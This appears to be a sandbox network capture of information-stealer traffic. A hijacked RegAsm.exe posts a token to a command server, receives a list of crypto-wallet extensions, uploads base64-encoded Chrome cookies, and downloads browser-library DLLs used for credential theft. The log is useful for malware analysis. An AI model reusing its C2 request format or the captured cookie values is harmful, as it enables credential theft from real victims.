Sep 15, 2024 19:37:35.525578022 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKEBAFIIECBGCAAAAFC Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 2d 2d 0d 0a Data Ascii: ------BAKEBAFIIECBGCAAAAFCContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------BAKEBAFIIECBGCAAAAFCContent-Disposition: form-data; name="message"fplugins------BAKEBAFIIECBGCAAAAFC--
Sep 15, 2024 19:37:35.709909916 CEST	335	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:35 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 15, 2024 19:37:35.724297047 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHJKEBAAEBGCAAEBFH Host: 46.8.231.109 Content-Length: 5455 Connection: Keep-Alive Cache-Control: no-cache
Sep 15, 2024 19:37:35.724297047 CEST	5455	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 Data Ascii: ------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 15, 2024 19:37:36.038053036 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 15, 2024 19:37:36.039096117 CEST	91	OUT	GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 15, 2024 19:37:36.218950987 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 15, 2024 19:37:36.218986988 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Sep 15, 2024 19:37:37.134452105 CEST	950	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIEGCBKEGCFCBFIDBFII Host: 46.8.231.109 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 47 43 42 4b 45 47 43 46 43 42 46 49 44 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 47 43 42 4b 45 47 43 46 43 42 46 49 44 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 47 43 42 4b 45 47 43 46 43 42 46 49 44 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------FIEGCBKEGCFCBFIDBFIIContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------FIEGCBKEGCFCBFIDBFIIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FIEGCBKEGCFCBFIDBFIIContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------FIEGCBKEGCFCBFIDBFII--
Sep 15, 2024 19:37:37.353215933 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 15, 2024 19:37:37.567610025 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFCFBAEGDHIEBFHDGCB Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 46 42 41 45 47 44 48 49 45 42 46 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 42 41 45 47 44 48 49 45 42 46 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 42 41 45 47 44 48 49 45 42 46 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BAFCFBAEGDHIEBFHDGCBContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------BAFCFBAEGDHIEBFHDGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAFCFBAEGDHIEBFHDGCBContent-Disposition: form-data; name="file"------BAFCFBAEGDHIEBFHDGCB--
Sep 15, 2024 19:37:37.788878918 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 15, 2024 19:37:38.086448908 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBAFHDGDGHDGCBFCFID Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="file"------IDBAFHDGDGHDGCBFCFID--
Sep 15, 2024 19:37:38.303883076 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 15, 2024 19:37:38.604665995 CEST	91	OUT	GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 15, 2024 19:37:38.782686949 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 15, 2024 19:37:39.349452972 CEST	91	OUT	GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 15, 2024 19:37:39.528865099 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49754	46.8.231.109	80	2632	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 19:37:39.542005062 CEST	92	OUT	GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 15, 2024 19:37:40.153197050 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 15, 2024 19:37:40.153242111 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 a2 00 10 a0 a2 00 10 80 a2 00 10 e0 a2 00 10 90 a3 00 10 30 a3 00 10 10 a3 00 10 70 a3 00 10 30 a4 00 10 d0 a3 Data Ascii: 0p0pP0`P` @
Sep 15, 2024 19:37:40.153297901 CEST	1236	IN	Data Raw: 20 ac 00 10 e0 ab 00 10 10 ad 00 10 50 ad 00 10 30 ad 00 10 00 ad 00 10 10 ae 00 10 10 a5 00 10 20 a5 00 10 00 00 00 00 00 00 00 00 00 00 03 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 a2 00 00 00 a0 a2 00 00 00 e0 a2 00 00 Data Ascii: P0 0p0Pp 0P``
Sep 15, 2024 19:37:40.153335094 CEST	1236	IN	Data Raw: 00 02 50 3b 01 00 02 60 3b 01 00 02 70 3b 01 00 02 80 3b 01 00 02 90 3b 01 00 02 a0 3b 01 00 02 b0 3b 01 00 02 c0 3b 01 00 02 d0 3b 01 00 02 e0 3b 01 00 00 10 3c 01 00 00 30 3c 01 00 00 60 3c 01 00 02 a0 3c 01 00 02 e0 3c 01 00 02 20 3d 01 00 02 Data Ascii: P;`;p;;;;;;;;<0<`<<< ===0>p>0??@@AAA`BB@CPCpCCCCPD`DpDDDDDEE EEE0F@
Sep 15, 2024 19:37:40.153388023 CEST	1236	IN	Data Raw: 02 90 84 01 00 02 b0 84 01 00 00 d0 84 01 00 00 f0 84 01 00 00 10 85 01 00 02 60 85 01 00 02 10 86 01 00 02 70 87 01 00 02 80 87 01 00 02 a0 87 01 00 02 e0 87 01 00 02 40 88 01 00 02 b0 88 01 00 02 d0 88 01 00 02 e0 88 01 00 02 70 8e 01 00 02 90 Data Ascii: `p@pP 000p0P @
Sep 15, 2024 19:37:40.153422117 CEST	672	IN	Data Raw: f0 6b 02 00 02 10 72 02 00 02 40 7d 02 00 02 a0 7d 02 00 02 50 7e 02 00 00 90 7e 02 00 00 d0 7e 02 00 00 f0 7e 02 00 00 10 7f 02 00 00 20 7f 02 00 00 30 7f 02 00 00 50 7f 02 00 00 00 80 02 00 00 e0 80 02 00 00 90 81 02 00 00 70 82 02 00 00 60 83 Data Ascii: kr@}}P~~~~ 0Pp`PPPp@ `0P 00p
Sep 15, 2024 19:37:40.153458118 CEST	1236	IN	Data Raw: 02 00 00 50 fb 02 00 00 d0 fb 02 00 00 40 fc 02 00 02 70 fc 02 00 00 a0 fc 02 00 00 e0 fc 02 00 00 20 fd 02 00 00 60 fd 02 00 00 a0 fd 02 00 00 00 fe 02 00 00 f0 fe 02 00 02 10 ff 02 00 02 30 ff 02 00 02 50 ff 02 00 02 70 ff 02 00 02 90 ff 02 00 Data Ascii: P@p `0PpP@p @0p`.../@/p//`0
Sep 15, 2024 19:37:40.153491020 CEST	1236	IN	Data Raw: 00 02 e0 93 03 00 02 20 94 03 00 02 60 94 03 00 02 a0 94 03 00 02 e0 94 03 00 02 20 95 03 00 02 60 97 03 00 02 d0 99 03 00 02 40 9c 03 00 02 70 9c 03 00 02 e0 9d 03 00 02 10 9e 03 00 02 90 9f 03 00 02 c0 9f 03 00 02 40 a1 03 00 02 60 a1 03 00 02 Data Ascii: ` `@p@`@PP`pP@0 PPP
Sep 15, 2024 19:37:40.153522968 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 a0 1a bd 2a 3f 00 00 00 e0 3a 0f 81 3f 00 00 00 40 5b 55 c5 3f 00 00 00 80 99 99 b9 3f 00 00 00 90 99 99 39 3e 00 00 00 30 33 33 a3 3c 00 00 00 90 99 99 f9 3a 7a 2a da 21 fb 04 45 40 75 cb 78 32 2d b8 c3 40 ee fd a1 11 b3 56 Data Ascii: ?:?@[U??9>033<:z!E@ux2-@VA?WI@_X-}@V$A@.?y>@+eG?z*!E@WI@ux2-@@_X-}@VAV$Aa<Rj=2KF={4gEZ
Sep 15, 2024 19:37:40.153558016 CEST	1236	IN	Data Raw: 4b 00 00 00 98 3e 00 10 4e 00 00 00 a0 3e 00 10 4f 00 00 00 a8 3e 00 10 50 00 00 00 b0 3e 00 10 56 00 00 00 b8 3e 00 10 57 00 00 00 c0 3e 00 10 5a 00 00 00 c8 3e 00 10 65 00 00 00 d0 3e 00 10 7f 00 00 00 d8 3e 00 10 01 04 00 00 dc 3e 00 10 02 04 Data Ascii: K>N>O>P>V>W>Z>e>>>>>???$?0?<?H?T?`?l?x????????
Sep 15, 2024 19:37:40.158507109 CEST	1236	IN	Data Raw: 44 46 00 10 01 34 00 00 50 46 00 10 09 34 00 00 5c 46 00 10 0a 34 00 00 68 46 00 10 01 38 00 00 74 46 00 10 0a 38 00 00 80 46 00 10 01 3c 00 00 8c 46 00 10 0a 3c 00 00 98 46 00 10 01 40 00 00 a4 46 00 10 0a 40 00 00 b0 46 00 10 0a 44 00 00 bc 46 Data Ascii: DF4PF4\F4hF8tF8F<F<F@F@FDFHFLFPF\|F\|F>B(>,Gq<GG(G4G@GLGXGdGpG\|GG
Sep 15, 2024 19:37:40.638922930 CEST	88	OUT	GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 15, 2024 19:37:40.811659098 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49756	46.8.231.109	80	2632	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
